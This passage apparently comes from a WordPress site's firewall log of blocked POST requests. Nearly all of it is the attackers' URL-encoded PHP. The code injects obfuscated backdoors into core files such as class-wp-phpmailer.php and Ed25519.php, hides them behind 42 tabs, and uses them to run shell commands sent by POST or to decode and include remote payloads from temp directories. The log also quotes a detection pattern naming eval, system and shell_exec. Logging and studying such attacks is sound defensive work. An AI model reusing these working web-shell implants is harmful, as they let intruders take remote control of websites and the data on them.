group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:7758\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:40:18","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4051\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept:*\/*\n\nLk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:40:18","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","60秒以内累计超过6次以上非法请求,封锁540秒","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4051\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept:*\/*\n\nLk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:40:33","203.86.122.1","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%